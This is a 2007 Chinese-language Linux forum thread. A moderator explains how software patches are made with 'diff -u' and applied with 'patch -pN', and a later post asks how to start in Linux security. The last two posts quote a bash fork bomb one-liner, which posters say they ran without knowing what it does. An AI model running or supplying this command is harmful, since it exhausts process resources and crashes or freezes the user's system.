免费注册 查看新帖 |

Chinaunix

广告
  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3435 | 回复: 4
打印 上一主题 下一主题

linux系统打补丁是个什么概念?如何进行? [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-01-25 14:48 |只看该作者 |倒序浏览
我想问得太多了,就请各位大虾帮帮忙吧。。。。

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
2 [报告]
发表于 2007-01-25 15:05 |只看该作者
你要了解一下開發流程才好理解。
假設我今天寫了一個程式,原始碼文件是 A ,然後我發佈出去給人家了。
接著我又對 A 做了修改。

那如何讓之前收到 A 的人獲得更新呢?
方法有二:
1) 請對方抓新的 A 回去
2) 請對方抓 A 的 patch(補丁) 回去,然後打上補丁。

前者你應該好理解。
後者我們最好看看 patch 的產生過程:
我寫好 A
再將 A 复制為 A.old
然後我修改 A
再用 diff -u A.old A > A.patch 就可以得到一個補丁文件。
然後請別人將 A.patch 抓回家,跑 patch -p0 < A.patch ,那樣舊的 A 就會跟新的 A 是一樣的。

大致如此,當然還有很多細節未能細述,有空多練習吧。
比如 diff 不用 -u 選項,只會生出兩文件差異,不會列出裡面的 patch 資訊(如路徑之類)
如果 diff -ruN dir.old dir 可以得出兩個目錄之間的所有 patch 。
再來就是 patch 的 -p 參數最不好理解,你需要對路徑概念很熟悉,尤其是絕對與相對路徑的差異。
簡單來說 -pN 的 N 就是取消 patch 路徑第 N 條 / 及其左邊的路徑內容。
比如 x/y/z 在 -p1 下會變成 y/z 。
具體的路徑,你可以 head -3 xxx.patch 看一看。

希望以上資訊有助你對 linux 系統維護的理解。

论坛徽章:
0
3 [报告]
发表于 2007-01-25 18:53 |只看该作者

谢谢了

不见意的话,我再问个问题:如果我想向linux系统安全管理方面发展,应该从什么基础开始?Linux的目录结构我懂,服务搭建之类的我也会,但就是精通不了,不知道底层的东东应该从什么学起。

论坛徽章:
0
4 [报告]
发表于 2007-01-25 23:11 |只看该作者
) { :& }; :  
这段命令是干嘛的,偶运行了一下,结果.......

论坛徽章:
0
5 [报告]
发表于 2007-01-25 23:12 |只看该作者
:() { :|:& }; :  
这段命令是干嘛的,偶运行了一下,结果.......
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP